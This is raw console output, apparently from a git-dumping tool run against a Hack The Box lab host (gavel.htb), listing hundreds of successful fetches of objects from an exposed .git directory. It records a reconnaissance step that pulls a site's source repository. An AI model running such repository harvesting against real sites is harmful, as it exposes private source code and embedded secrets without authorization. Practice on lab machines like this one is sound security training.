[-] Fetching http://gavel.htb/.git/objects/25/fb219e4b653de0657f730ca7e5b134990ef684 [200]
[-] Fetching http://gavel.htb/.git/objects/27/6a7dbd0dd40f5703053767c4566aef56ad8712 [200]
[-] Fetching http://gavel.htb/.git/objects/25/fd6c73a8689141579d42a3900e462b1a371e8c [200]
[-] Fetching http://gavel.htb/.git/objects/27/9b1e0184fe98425d2ec49b3606aed93065355d [200]
[-] Fetching http://gavel.htb/.git/objects/27/466495b28aa9630b01cbe6aa625c8e5e5d0e12 [200]
[-] Fetching http://gavel.htb/.git/objects/27/b4f920546aa7ba929aef7d1d9d9696a0afec9e [200]
[-] Fetching http://gavel.htb/.git/objects/27/157982411ce586e51551228ab376b14a1da5b8 [200]
[-] Fetching http://gavel.htb/.git/objects/27/bae75ab528ceded948edb981f51cb123feb714 [200]
[-] Fetching http://gavel.htb/.git/objects/27/c2ad5fc45272972e7e894e2b1dc4ae7e10367b [200]
[-] Fetching http://gavel.htb/.git/objects/27/d0449e5f2e732f1284f8a466b23e301888067c [200]
[-] Fetching http://gavel.htb/.git/objects/27/ddeacb3b5e0e257077f004c37bf0f10db948ce [200]
[-] Fetching http://gavel.htb/.git/objects/25/d5fb63cd84c91e8485f7055a0dc0a56eaebfdf [200]
[-] Fetching http://gavel.htb/.git/objects/25/d2fc0a198ac153f837da0ac402c64615ca61a0 [200]
[-] Fetching http://gavel.htb/.git/objects/28/76c70034ef613205ada6339b98a4129bb0b3d9 [200]
[-] Fetching http://gavel.htb/.git/objects/25/d1b0d0dd400c5a6a41b94c9dfd1d8049d6f18a [200]
[-] Fetching http://gavel.htb/.git/objects/28/6de0c158b7b615cf1b05f3026f0a413094c36d [200]
[-] Fetching http://gavel.htb/.git/objects/28/944e60737f7f84093b5fcdfa3a19885154dae8 [200]
[-] Fetching http://gavel.htb/.git/objects/28/acc4cb669b955cfb4823486de4f9181eb2112d [200]
[-] Fetching http://gavel.htb/.git/objects/30/a36f0875e07c14c1f203c5c10497d17ca55e6f [200]
[-] Fetching http://gavel.htb/.git/objects/27/fb28e569a686a03cd86acb9b208725741346f3 [200]
[-] Fetching http://gavel.htb/.git/objects/30/670dec6d91d235fa8954a0bfc124c779e8a0be [200]
[-] Fetching http://gavel.htb/.git/objects/29/94bb6c57c9a8235ae25007f62ee5f3096bcbd0 [200]
[-] Fetching http://gavel.htb/.git/objects/29/99347519b120f56f31f0208a761828ea695023 [200]
[-] Fetching http://gavel.htb/.git/objects/29/a356b423de898b4f226c1ff7a6eebe427fc22d [200]
[-] Fetching http://gavel.htb/.git/objects/29/3765693245262f7965f87d23a3284b8692d54e [200]
[-] Fetching http://gavel.htb/.git/objects/29/4b89916b5e9ab655c6539051aac8fba8bddab5 [200]
[-] Fetching http://gavel.htb/.git/objects/29/25ae5a78897b85a8cde599e5d11eca3c25ace2 [200]
[-] Fetching http://gavel.htb/.git/objects/29/cda819a215538abcd15df1c624a0c677f47ec5 [200]
[-] Fetching http://gavel.htb/.git/objects/29/d980d8fa7876fe26fc957006af12d19da2b6c4 [200]
[-] Fetching http://gavel.htb/.git/objects/31/04e8cc9a0cd91587f78662df3ec3f4a8207364 [200]
[-] Fetching http://gavel.htb/.git/objects/31/2c3ae2d060130416d7dff9f61ae5c1c29a056b [200]
[-] Fetching http://gavel.htb/.git/objects/29/4ebfdb2efa1ee3b8b8bc584eeecffe15e21efb [200]
[-] Fetching http://gavel.htb/.git/objects/31/8aaa96ac82b200ff2c7c91535107919524ac87 [200]
[-] Fetching http://gavel.htb/.git/objects/31/12a734bba050af10ba80748c685be2553a1182 [200]
[-] Fetching http://gavel.htb/.git/objects/31/93d1727ad236c32e0865025cace8234619142b [200]
[-] Fetching http://gavel.htb/.git/objects/31/77de8aaaad80d5a09892d1dc619275998cdece [200]
[-] Fetching http://gavel.htb/.git/objects/30/b6dc12bcd4a2bb2cc1c2053c0afc57c837503b [200]
[-] Fetching http://gavel.htb/.git/objects/30/ecd06dad32db151766bfe18bab187a9116f1ef [200]
[-] Fetching http://gavel.htb/.git/objects/31/2dccef8aadc16c81e707db06b42ac9b2597227 [200]
[-] Fetching http://gavel.htb/.git/objects/31/d941963416e8c5afef2af11ab2eabbd738a11d [200]
[-] Fetching http://gavel.htb/.git/objects/31/f6b71bb3f1926a560f6869597ef228b2cea454 [200]
[-] Fetching http://gavel.htb/.git/objects/32/2ce4933c429db835bc9e0976019bc0f163ed7f [200]
[-] Fetching http://gavel.htb/.git/objects/31/efad63f1beff8019a5f937cfadea5be71dde74 [200]
[-] Fetching http://gavel.htb/.git/objects/31/6971169064867ffe9fea28990bdf8c1771facf [200]
[-] Fetching http://gavel.htb/.git/objects/32/98c80b133ebdcb3df48f631851caaaccc0257e [200]
[-] Fetching http://gavel.htb/.git/objects/32/98bd25a504180fc0ad87867700b93a1612f077 [200]
[-] Fetching http://gavel.htb/.git/objects/32/462298760b41789b63849a258c384b022e00f3 [200]
[-] Fetching http://gavel.htb/.git/objects/32/eda7419c30254b6af95aeae012b4ce62db49d8 [200]
[-] Fetching http://gavel.htb/.git/objects/32/194277eb6e9dd75fa9a2be306cf3c5c2d93b5f [200]
[-] Fetching http://gavel.htb/.git/objects/32/788dc435b8ff795ab35106bb1ef60fe0dc490d [200]
[-] Fetching http://gavel.htb/.git/objects/33/1ef6b4416ac3f733fdb272ac33b9af6284ba1a [200]
[-] Fetching http://gavel.htb/.git/objects/33/364ed9a491008099bc9c2e523bbfebd0e1cd07 [200]
[-] Fetching http://gavel.htb/.git/objects/33/734202a38114b2591d30d538ecaf122eae4a40 [200]
[-] Fetching http://gavel.htb/.git/objects/33/bd754959290e23d472a94ad4af1076d4ece3c5 [200]
[-] Fetching http://gavel.htb/.git/objects/33/a1df72e07cc15d7e643096949b4960f4aeb05b [200]
[-] Fetching http://gavel.htb/.git/objects/33/c670039bf00d7beee3e4719f0dbe21af057503 [200]
[-] Fetching http://gavel.htb/.git/objects/33/ec6c7f0d1de39ee866d4ad6168f6799dbf4a11 [200]
[-] Fetching http://gavel.htb/.git/objects/34/0ca96c3accfd59f1cf4fb6b9baae86046ac051 [200]
[-] Fetching http://gavel.htb/.git/objects/34/2cd6fddf814da8b808f4d0d973efe9baf2cd9f [200]
[-] Fetching http://gavel.htb/.git/objects/34/45a16bdd5380ad62be25a6ad64221de976b396 [200]
[-] Fetching http://gavel.htb/.git/objects/34/5e8993c1a4b11d07eefd347a026c18e002304d [200]
[-] Fetching http://gavel.htb/.git/objects/34/87df7721b87cd18bc764cae6d50e3dbcf80f00 [200]
[-] Fetching http://gavel.htb/.git/objects/34/a0e938f501376ff3eec89fe88257243aa65fcc [200]
[-] Fetching http://gavel.htb/.git/objects/34/32014320f4f7d8aa4ff6dbef95c71afa47b4d4 [200]
[-] Fetching http://gavel.htb/.git/objects/34/dbeb049e8690e88b6c1d8e4db42966602badd3 [200]
[-] Fetching http://gavel.htb/.git/objects/34/e4ff62136bfc1b9981351772c29a3096206cbc [200]
[-] Fetching http://gavel.htb/.git/objects/36/6e5941c871177978de9b5a592e60fdd608a018 [200]
[-] Fetching http://gavel.htb/.git/objects/36/5de954c83831b15f67abe0aee90c82a6198559 [200]
[-] Fetching http://gavel.htb/.git/objects/36/7dfa0ad3cf46e807aaa644583319bba332f1c6 [200]
[-] Fetching http://gavel.htb/.git/objects/36/8a8a23a0ee5724d6a1a0bbeb5c81ed48c7c173 [200]
[-] Fetching http://gavel.htb/.git/objects/36/64f4daf2e7ca68a8d41796c73b040541e7de6d [200]
[-] Fetching http://gavel.htb/.git/objects/36/91e5d943540570caf273ded16fd47d95cf6c80 [200]
[-] Fetching http://gavel.htb/.git/objects/36/652fb104899408c52ec13e12d16c7fecc0eef3 [200]
[-] Fetching http://gavel.htb/.git/objects/36/9068d5139b447a957d5c460a05900cbac9ae39 [200]
[-] Fetching http://gavel.htb/.git/objects/36/e8243d35822754c5f4527e06ec41caada2f9c0 [200]
[-] Fetching http://gavel.htb/.git/objects/36/e8ab24ebdafd4c1bee03374a719a909967c23c [200]
[-] Fetching http://gavel.htb/.git/objects/35/04bb1aa5d7aa2c3d75aedd4a03916afaa7e4d9 [200]
[-] Fetching http://gavel.htb/.git/objects/35/2bd649cb2dd53bff79f0a3948310b04ae56f20 [200]
[-] Fetching http://gavel.htb/.git/objects/35/1f93651c6fd133c486c6f362726a09ec8821bc [200]
[-] Fetching http://gavel.htb/.git/objects/35/3af116c5130074399c67e9b87c5921f3a53b68 [200]
[-] Fetching http://gavel.htb/.git/objects/35/8a93b5c60fa476cae3876fda96eb6c8f108c93 [200]
[-] Fetching http://gavel.htb/.git/objects/35/1136790a48a33a2622627e4267425a2ec90b61 [200]
[-] Fetching http://gavel.htb/.git/objects/35/4356a7d0e8c7e8d27e5944c2f6dcc90b783460 [200]
[-] Fetching http://gavel.htb/.git/objects/35/a569789efed501a132469ab1c322358aebff5c [200]
[-] Fetching http://gavel.htb/.git/objects/35/b5e021362c21567b84d29e8351f76cca879f06 [200]
[-] Fetching http://gavel.htb/.git/objects/37/0e1ab9be68a29d679e0f633933393be14c060f [200]
[-] Fetching http://gavel.htb/.git/objects/35/dc7f47644637b08d2e35598ba4b87cebaf3ac3 [200]
[-] Fetching http://gavel.htb/.git/objects/37/2a21d197e2719c657983c25b80d0cd93c7dd33 [200]
[-] Fetching http://gavel.htb/.git/objects/37/6c60c30a1204fe8c840257072f9405029edea3 [200]
[-] Fetching http://gavel.htb/.git/objects/37/9ee776ee3a88de2f4a162f77ae2d0041d10db1 [200]
[-] Fetching http://gavel.htb/.git/objects/37/180394f2eb95c2cae07e2039c2cf8108c62327 [200]
[-] Fetching http://gavel.htb/.git/objects/38/20c7ebc87fc9bef7e2ee5344565baa35094ef7 [200]
[-] Fetching http://gavel.htb/.git/objects/38/213e6d29c6796191f95b35e8e60a3e53c7aa95 [200]
[-] Fetching http://gavel.htb/.git/objects/38/46475eecfa4b3eef3d238b530b3d925ce6d79f [200]
[-] Fetching http://gavel.htb/.git/objects/38/b6c2cd6daec0a291014d78af1965f35019c86a [200]
[-] Fetching http://gavel.htb/.git/objects/38/b13c672c41c23ab9d0a24c101ed8a63c56ff2d [200]
[-] Fetching http://gavel.htb/.git/objects/38/ba056d62fa1f4d8d487522d3fbbdf270f5895c [200]
[-] Fetching http://gavel.htb/.git/objects/38/bdd0b5dd8e02409b39473c57e52a7aac2f25dc [200]
[-] Fetching http://gavel.htb/.git/objects/40/9f8244e126b580df1b3a76b1efb62e4eb58951 [200]
[-] Fetching http://gavel.htb/.git/objects/37/b371f6aada8ce1785bd0df9046131f04a78a90 [200]
[-] Fetching http://gavel.htb/.git/objects/38/ea7b0a57778c4083f183ebb83292c7c948ed59 [200]
[-] Fetching http://gavel.htb/.git/objects/40/b386e62f45aade021e0bc907880292ad5bf6cb [200]
[-] Fetching http://gavel.htb/.git/objects/40/be4d918add473357851dcd32b3b17f54afae27 [200]
[-] Fetching http://gavel.htb/.git/objects/40/c6b2c5cc39dc1f2e0a03defce1b18b882fb2d5 [200]
[-] Fetching http://gavel.htb/.git/objects/41/0241f9ff19f69c9d1e98c179143604f72fe798 [200]
[-] Fetching http://gavel.htb/.git/objects/39/94a6d3192538167dc2e7e2f1560508a3ddf93c [200]
[-] Fetching http://gavel.htb/.git/objects/39/7252f7ad2895f3a007c41bf5613a769b5fba1e [200]
[-] Fetching http://gavel.htb/.git/objects/39/7738dea0fe4b3c866be1f612f7d47640f17b04 [200]
[-] Fetching http://gavel.htb/.git/objects/39/ccdb575685cda945db56c087b069031d453c46 [200]
[-] Fetching http://gavel.htb/.git/objects/39/da01e63b01d40d99de6959b74559e3cf77181c [200]
[-] Fetching http://gavel.htb/.git/objects/39/e7b9d5d852ad0eb93ad5beebb2b60aa2be37d0 [200]
[-] Fetching http://gavel.htb/.git/objects/39/ebea58bfa123ddb0ac6a147ade279b97787d4c [200]
[-] Fetching http://gavel.htb/.git/objects/41/e2c177646c102ce6108aef1b8ce5779399fb4c [200]
[-] Fetching http://gavel.htb/.git/objects/41/036aa0328c100bfc5626d6ea5345ac694b85f9 [200]
[-] Fetching http://gavel.htb/.git/objects/42/00e4ffa3ea5b6e025e90b0b205a0ffeb6b9f27 [200]
[-] Fetching http://gavel.htb/.git/objects/42/6cbdf6afbaccaa0f0c61d7333d0ae9b4e5de9c [200]
[-] Fetching http://gavel.htb/.git/objects/39/533890ac38a2979730f952e2eecff627c31ae4 [200]
[-] Fetching http://gavel.htb/.git/objects/42/8a2ec6bf08b22acdffe7c3b197cc9f1d63b0b2 [200]
[-] Fetching http://gavel.htb/.git/objects/42/6c61665e9817bc96d0289040b8e918316c8c2a [200]
[-] Fetching http://gavel.htb/.git/objects/42/c5d08d7487c36ebbd1989020d9396f3f4880f0 [200]
[-] Fetching http://gavel.htb/.git/objects/42/98ecf99344bcdadc0fe2c6208cfc177e1953ec [200]
[-] Fetching http://gavel.htb/.git/objects/43/0e5248155ccbcef83482b40012e0bd58d8fffc [200]
[-] Fetching http://gavel.htb/.git/objects/43/00742f3d219dedd0221ad45e8cdb02b9293405 [200]
[-] Fetching http://gavel.htb/.git/objects/43/7b79d17021af9fc57348b020829934d37abac0 [200]
[-] Fetching http://gavel.htb/.git/objects/43/107b5643ead0a982055a45b0c9301c76642b87 [200]
[-] Fetching http://gavel.htb/.git/objects/43/d82e93b76af0e8073dfbfcd3a82781c7780d17 [200]
[-] Fetching http://gavel.htb/.git/objects/43/706ac46b17fe783c9e7e7024321940a4c34190 [200]
[-] Fetching http://gavel.htb/.git/objects/43/cf0eb378a0c11361460d0f61392f4a3059f80a [200]
[-] Fetching http://gavel.htb/.git/objects/44/97ac0400fbfacc098868f93fb1d55bf3d2ac77 [200]
[-] Fetching http://gavel.htb/.git/objects/44/3817eefe5b4b7e5506bd41d7e40a3524660700 [200]
[-] Fetching http://gavel.htb/.git/objects/44/d24b32ffc16f46a62639c4cbaa6868c3a82354 [200]
[-] Fetching http://gavel.htb/.git/objects/44/fda20e61da214f77941168a4109ddaa8b1a063 [200]
[-] Fetching http://gavel.htb/.git/objects/46/0d5ee56d33f21a23eadf955fb6e13f918fc206 [200]
[-] Fetching http://gavel.htb/.git/objects/46/2d45190698ad7a4a7a4e12651f8a4e8c2d4fb3 [200]
[-] Fetching http://gavel.htb/.git/objects/46/8e3796c65716ab0a3ea5fdbcb8ffa7d1de958a [200]
[-] Fetching http://gavel.htb/.git/objects/47/9ac89f4e266f07f4259600252102a9bdb2dc00 [200]
[-] Fetching http://gavel.htb/.git/objects/47/6826bc1efb13d0a1dcf3567a9e89634a6797d0 [200]
[-] Fetching http://gavel.htb/.git/objects/47/ae6bbd803635d2757f620820a4dabfa7611eca [200]
[-] Fetching http://gavel.htb/.git/objects/47/b1069c5e0200eb4891dc63b3e96714ee6562cc [200]
[-] Fetching http://gavel.htb/.git/objects/47/dcaf41eaafc2800510052613bb9ce3c53b366c [200]
[-] Fetching http://gavel.htb/.git/objects/48/0109967e76233ec58b5c6cc62c1895ebf95efd [200]
[-] Fetching http://gavel.htb/.git/objects/48/53a664a6bc06a4b731b2571debba486f8005bc [200]
[-] Fetching http://gavel.htb/.git/objects/48/79e49da57b86a91cdb7c382811c5b29f98d064 [200]
[-] Fetching http://gavel.htb/.git/objects/48/145b8980b21da44a2c47e0ed83bec758d50c45 [200]
[-] Fetching http://gavel.htb/.git/objects/47/555445431cbed404768e8e43e3c24fa005ecb3 [200]
[-] Fetching http://gavel.htb/.git/objects/46/aab1a9b1b35e44ca6bd904af8ebe56efe3a5cb [200]
[-] Fetching http://gavel.htb/.git/objects/46/e4430ee8dde66eb3c144d8be6c21f22440a9ca [200]
[-] Fetching http://gavel.htb/.git/objects/48/853e1283852af51987893f0e3bba161dffb756 [200]
[-] Fetching http://gavel.htb/.git/objects/48/a306d0164d96e330f5bdb1fc9788fb14462b6b [200]
[-] Fetching http://gavel.htb/.git/objects/50/92cd6fcee3ec780a5444051924aee02a034c5b [200]
[-] Fetching http://gavel.htb/.git/objects/48/f08ad6722893d6fc28ff463074b105c7ac4bfb [200]
[-] Fetching http://gavel.htb/.git/objects/50/c925a0fe3125a9453cd125a5454c9d5017bfe0 [200]
[-] Fetching http://gavel.htb/.git/objects/50/9205488348aa28503c8b1f1c8df5a9eecf97f0 [200]
[-] Fetching http://gavel.htb/.git/objects/50/a5db240fab0b7e1bbe893a15e2d2a761db025b [200]
[-] Fetching http://gavel.htb/.git/objects/50/ce211f248429290058d7860e4f6fe67fe64bc9 [200]
[-] Fetching http://gavel.htb/.git/objects/50/fe91151a7d88ff932c9ded3b21c1fb6ed81042 [200]
[-] Fetching http://gavel.htb/.git/objects/49/03d88ee1b2757dbe5ced9e0a5d19a94f71df2b [200]
[-] Fetching http://gavel.htb/.git/objects/49/7e07eda913871b1d61e8488e70cf156d038ccf [200]
[-] Fetching http://gavel.htb/.git/objects/49/0e61f98215c9412c69c29696030baadc361e12 [200]
[-] Fetching http://gavel.htb/.git/objects/49/2f9c07988f25b8d9ecc7097561875468ebbcc0 [200]
[-] Fetching http://gavel.htb/.git/objects/49/9e9190d8706a5f184c2f851d174e56d657633d [200]
[-] Fetching http://gavel.htb/.git/objects/49/549b10c619b5c94d8d8eb9662edc52f32f9773 [200]
[-] Fetching http://gavel.htb/.git/objects/49/96ceba9ad907f2c7f7c48260856b2a28155968 [200]
[-] Fetching http://gavel.htb/.git/objects/49/cfd39b9aabb3e62b11458b2483b5d4eb066688 [200]
[-] Fetching http://gavel.htb/.git/objects/51/23df59364f54570453cf7577594a84236a0b0e [200]
[-] Fetching http://gavel.htb/.git/objects/49/d48ca2c22744e9892245f71ff84f3bea0ecc0d [200]
[-] Fetching http://gavel.htb/.git/objects/51/9b43ad000ba85ea9ddad98c538c111c242cd75 [200]
[-] Fetching http://gavel.htb/.git/objects/51/54b4d4f7a4ea3d2df2eb097ce07854f62a5755 [200]
[-] Fetching http://gavel.htb/.git/objects/51/913aa6ea3d7a54f11852474120c0e0245df945 [200]
[-] Fetching http://gavel.htb/.git/objects/49/f22f143aa8506d36429ec0592882c430f98085 [200]
[-] Fetching http://gavel.htb/.git/objects/49/7119509e8ca9567cbf40eae1b4ac8109446d27 [200]
[-] Fetching http://gavel.htb/.git/objects/49/c7e6a1371d1c65264c26028205c55a5ed0b0c9 [200]
[-] Fetching http://gavel.htb/.git/objects/51/132302b4122d16ba8a210249cb8d74519294b2 [200]
[-] Fetching http://gavel.htb/.git/objects/51/c086035cb4358d0fa18905765cb80dabdb42f1 [200]
[-] Fetching http://gavel.htb/.git/objects/51/1779998bb201efa2d290441ad575c8bea44d0b [200]
[-] Fetching http://gavel.htb/.git/objects/51/db3be57fb0bd5b266c8f1a145299aa396580c4 [200]
[-] Fetching http://gavel.htb/.git/objects/51/de2baddedc5f48bece83e560e844bfb265a208 [200]
[-] Fetching http://gavel.htb/.git/objects/51/e712afa18f2bd02239cca1dca8e856c23d3274 [200]
[-] Fetching http://gavel.htb/.git/objects/52/e85a542a92bc4a6b211fc2fac4b801740118eb [200]
[-] Fetching http://gavel.htb/.git/objects/52/f4d010ed4ae0e7f616832622d46e52197ccebc [200]
[-] Fetching http://gavel.htb/.git/objects/45/0a95ef4369154a4d9ed4bad4feef6cd0150cb9 [200]
[-] Fetching http://gavel.htb/.git/objects/52/a10471a8ff184b63e6612c76e3aa6fb0272307 [200]
[-] Fetching http://gavel.htb/.git/objects/45/3c619bad46de0c193be9b3911c7bd5e8bb5f72 [200]
[-] Fetching http://gavel.htb/.git/objects/45/6fa2ec9a7698f37f01335a67e57f4e72fa8392 [200]
[-] Fetching http://gavel.htb/.git/objects/45/26ee2b3340f5c901a7f5b4128667950b0295bb [200]
[-] Fetching http://gavel.htb/.git/objects/52/89ca4f83fadf00eb6fe4ef7bc5a8045c4c1627 [200]
[-] Fetching http://gavel.htb/.git/objects/52/65ceebb42e840a1117531b9138fb10db688cfc [200]
[-] Fetching http://gavel.htb/.git/objects/45/84ad60fa70f58c4eac51ce181a1976bd298c83 [200]
[-] Fetching http://gavel.htb/.git/objects/45/99e60f6032fd86a3901b2b7d244fd06a022da8 [200]
[-] Fetching http://gavel.htb/.git/objects/45/3027e77e7cb1cb6ccac49a0cbbc3fe9d8c0253 [200]
[-] Fetching http://gavel.htb/.git/objects/45/265d8911674b6675acbd21ce01dd2ec152d111 [200]
[-] Fetching http://gavel.htb/.git/objects/45/d2553f147b16f1c28a5599bda8ff09c2c2a4ce [200]
[-] Fetching http://gavel.htb/.git/objects/45/e85312fc7cbeea2ccdcd84f409cce06463879e [200]
[-] Fetching http://gavel.htb/.git/objects/45/e438e620fadb2da2a340849ff29623c6187f91 [200]
[-] Fetching http://gavel.htb/.git/objects/52/9c8ac5baccc35e68d0faa2a3c63ee48d871142 [200]
[-] Fetching http://gavel.htb/.git/objects/54/2a0357d1a79277629d410d0560506f13536ad4 [200]
[-] Fetching http://gavel.htb/.git/objects/54/870bf6a8c471fe8a65b39a7444085a2a046c69 [200]
[-] Fetching http://gavel.htb/.git/objects/54/250844ff611e8faa31cf0cd5e7ec6cb6cc299d [200]
[-] Fetching http://gavel.htb/.git/objects/54/76e21a6813870f42255b3e45ed58470a53cfdc [200]
[-] Fetching http://gavel.htb/.git/objects/45/fb79c6e8dbe95c40f42fdf2a150365f775107e [200]
[-] Fetching http://gavel.htb/.git/objects/54/0972f33bd28ddb3389153b43d3b26a4ab342ac [200]
[-] Fetching http://gavel.htb/.git/objects/54/c785351cc89555d75b893addbcafa9952e7ef1 [200]
[-] Fetching http://gavel.htb/.git/objects/54/f086092b3cb418fecf1e3ab07dc1152d47300a [200]
[-] Fetching http://gavel.htb/.git/objects/53/06cca5da2efc50be8827385f6152ba4fcc4c67 [200]
[-] Fetching http://gavel.htb/.git/objects/53/2098b44573db3942adc0d4befc3e0016ca12ea [200]
[-] Fetching http://gavel.htb/.git/objects/53/80074c71d9a7c3ec6d9f6d9db5f7dfb2a04808 [200]
[-] Fetching http://gavel.htb/.git/objects/53/90061a62264a1c3dc405473b0cfcf864bc8c79 [200]
[-] Fetching http://gavel.htb/.git/objects/53/34b524b2f9db9461c0c0446391016fb794072c [200]
[-] Fetching http://gavel.htb/.git/objects/53/bb64afd65397150b20b8189d82dcaa950c704d [200]
[-] Fetching http://gavel.htb/.git/objects/55/61da7015a0d812b94d27a8fddbef1ca474c1f0 [200]
[-] Fetching http://gavel.htb/.git/objects/55/b56924b4cf83e44947e56984f5160810b0f02d [200]
[-] Fetching http://gavel.htb/.git/objects/55/a720195d3d30d8167d8afe80d7c5acd05e97f8 [200]
[-] Fetching http://gavel.htb/.git/objects/53/1e09101acbd075708902d6150aa469f20d2e6f [200]
[-] Fetching http://gavel.htb/.git/objects/55/e37ca9d85f1a95abfc2250d79e002eb5bdf095 [200]
[-] Fetching http://gavel.htb/.git/objects/55/d28b70d8c2d5ddb2115b670374379ce5565168 [200]
[-] Fetching http://gavel.htb/.git/objects/55/e68b7e833198f575cb68cf84a4ca93e939c891 [200]
[-] Fetching http://gavel.htb/.git/objects/55/f08bdaceb99ecd32d7f808d67a8265fb354a55 [200]
[-] Fetching http://gavel.htb/.git/objects/56/2aa10c62feafcb520b2c17984b805ddfd93c9d [200]
[-] Fetching http://gavel.htb/.git/objects/56/7a06691bfb55535e2266da8ddce2b029012d2e [200]
[-] Fetching http://gavel.htb/.git/objects/56/48a7bf8f53a8b04147e489e56b4cc6450d4eca [200]
[-] Fetching http://gavel.htb/.git/objects/56/0fbb5a37e54f2e9610efd4ba72eb5542b1e9f9 [200]
[-] Fetching http://gavel.htb/.git/objects/55/baeeba3d6f7890f8a81738913208367b7f4e56 [200]
[-] Fetching http://gavel.htb/.git/objects/56/225f4ad72298d3c7d0dd3b49aea79a990cb73f [200]
[-] Fetching http://gavel.htb/.git/objects/56/926bcde488b6f1b4585eb84f8503f7002bfab3 [200]
[-] Fetching http://gavel.htb/.git/objects/56/966961c0d80df15890663ae8fc0084e276fa60 [200]
[-] Fetching http://gavel.htb/.git/objects/56/4879184fb9f1161675c923614e06e5faa330fb [200]
[-] Fetching http://gavel.htb/.git/objects/57/2cdc8cc7860d58fd33d813c3f620f44b6ba7cb [200]
[-] Fetching http://gavel.htb/.git/objects/57/b967c1fdeb69354b812d454ab9b1644e392496 [200]
[-] Fetching http://gavel.htb/.git/objects/57/44791628c6573b79ef77fc00360dcc01c01601 [200]
[-] Fetching http://gavel.htb/.git/objects/57/c56d3e5184b8e8da21383cdc7d77109ef082d2 [200]
[-] Fetching http://gavel.htb/.git/objects/57/dc99aad29830b204356123470808637db8373d [200]
[-] Fetching http://gavel.htb/.git/objects/59/2cad7b56571f28b7cd1dcb736d6bf9492810fe [200]
[-] Fetching http://gavel.htb/.git/objects/57/c35ebb46dba4c86c2dabc63a8f183edca62491 [200]
[-] Fetching http://gavel.htb/.git/objects/57/be2faaef32f826ce97e75e76a0cc0a57990f40 [200]
[-] Fetching http://gavel.htb/.git/objects/57/e3d065c1e5686d1c01dbd8dec72dfb06e2674c [200]
[-] Fetching http://gavel.htb/.git/objects/59/5fdbb5acbc267f7b155e36ccf4f3bb55bde3da [200]
[-] Fetching http://gavel.htb/.git/objects/59/8cfc98ec597dc48125cd52b6936f26b3d1abab [200]
[-] Fetching http://gavel.htb/.git/objects/59/30c1c3722422ec8ba98002fca030163bc93595 [200]
[-] Fetching http://gavel.htb/.git/objects/59/72220e096fe56ef6f16f2cb9344bc61f855294 [200]
[-] Fetching http://gavel.htb/.git/objects/59/52e25e7742f8a1f63c281b9ba86e55eaa5cb71 [200]
[-] Fetching http://gavel.htb/.git/objects/59/d6b538b6a88aafa41dedeb62ffede7ae2eddd3 [200]
[-] Fetching http://gavel.htb/.git/objects/60/8a1c5a280b150d8e50af3ab461965241f37978 [200]
[-] Fetching http://gavel.htb/.git/objects/60/80dd6357df102ca1dd2c54ece23a4b8a3bdb74 [200]
[-] Fetching http://gavel.htb/.git/objects/60/270c32b68f457aed2ad99a121baf9027a94578 [200]
[-] Fetching http://gavel.htb/.git/objects/56/60deca5e6de92512cdfea64de957dde0683696 [200]
[-] Fetching http://gavel.htb/.git/objects/59/c761c7797566ab7179f2e0118f46b9c472f029 [200]
[-] Fetching http://gavel.htb/.git/objects/60/5d64d45c9ca99bc2bc69c75ab2dbddd9e8cbe3 [200]
[-] Fetching http://gavel.htb/.git/objects/60/b13b0abcf86fc90fbdeb2167d6b26cc78d4c6c [200]
[-] Fetching http://gavel.htb/.git/objects/60/c8a5220bf97b3605a8cbbb489043a31b118ccf [200]
[-] Fetching http://gavel.htb/.git/objects/60/ba26f2a962c1c6eb8c28a78e81c6aa978a673c [200]
[-] Fetching http://gavel.htb/.git/objects/60/e1a48d77015e0f7a30f2bab01eaea4637aa4f9 [200]
[-] Fetching http://gavel.htb/.git/objects/60/edb7a685085baee831b1845f4412bf4e7580fd [200]
[-] Fetching http://gavel.htb/.git/objects/61/a51ef60223d460b990520eb60d9e3a33ca6a7b [200]
[-] Fetching http://gavel.htb/.git/objects/61/1709a9303d689eea26bed44c3572d9345b6f2d [200]
[-] Fetching http://gavel.htb/.git/objects/61/bb0e7a224186d5e048ff65e2f00240c4857780 [200]
[-] Fetching http://gavel.htb/.git/objects/61/bb28d07a9b76bb7699cd89274b380db2e40474 [200]
[-] Fetching http://gavel.htb/.git/objects/61/d1f635b7b183e0d974c23e3c893660d01b5e15 [200]
[-] Fetching http://gavel.htb/.git/objects/61/39bc43deeca6e8923be21ce88d06dfa016b327 [200]
[-] Fetching http://gavel.htb/.git/objects/61/54d9b629452de86ab72b56a4fb79249b184592 [200]
[-] Fetching http://gavel.htb/.git/objects/58/0d2189a09b82c2758a5bfcc5cd346a88c651dd [200]
[-] Fetching http://gavel.htb/.git/objects/58/10ea8e09d8d263e7c9fc09af9b6efda5f88292 [200]
[-] Fetching http://gavel.htb/.git/objects/58/54bb572c81a1ac07fe6b85829b3e379480c502 [200]
[-] Fetching http://gavel.htb/.git/objects/58/a08d6dd53ff2fe372710b1e2cd24ed624efdb9 [200]
[-] Fetching http://gavel.htb/.git/objects/58/a4d45c4aad858c317761298c0adb4e2985c3de [200]
[-] Fetching http://gavel.htb/.git/objects/58/a40604a20171f36cdd11f2ab7680e2cb30a34b [200]
[-] Fetching http://gavel.htb/.git/objects/58/aef42e455b7af601d0dabec97df18ccc38b6e9 [200]
[-] Fetching http://gavel.htb/.git/objects/61/13c89252ed5e34bb5012a5ff199750b422ec6d [200]
[-] Fetching http://gavel.htb/.git/objects/62/1a35e46d4acdad839d696ca28e3c33014e4f5d [200]
[-] Fetching http://gavel.htb/.git/objects/62/7ae4be9c39c77db12271bde3c7d0c24b00a033 [200]
[-] Fetching http://gavel.htb/.git/objects/62/27dd99caa3a540989a907f679385f036e20e06 [200]
[-] Fetching http://gavel.htb/.git/objects/62/80d727a6dc0b4820b68f8a73be8d96bc859055 [200]
[-] Fetching http://gavel.htb/.git/objects/62/490f8aa6ff8c53339e5bb16135baa186eff25d [200]
[-] Fetching http://gavel.htb/.git/objects/62/813ed914cbbe118007d29d49cba4a4f244e746 [200]
[-] Fetching http://gavel.htb/.git/objects/62/958c6052d064fa0b2a4faaa6e156663564484e [200]
[-] Fetching http://gavel.htb/.git/objects/58/e7801f24edd5095937253be5057ca722994d67 [200]
[-] Fetching http://gavel.htb/.git/objects/63/0afd388c9f2cc7ee8e009c167d6019f41aef66 [200]
[-] Fetching http://gavel.htb/.git/objects/63/3c89505185e6fe7fa99d4c14fe771dac6fbd0b [200]
[-] Fetching http://gavel.htb/.git/objects/62/ff9f69dd380ad49c35653600a152afbcf551b4 [200]
[-] Fetching http://gavel.htb/.git/objects/63/4aec469029c4c7f9e358da7e09962625604a04 [200]
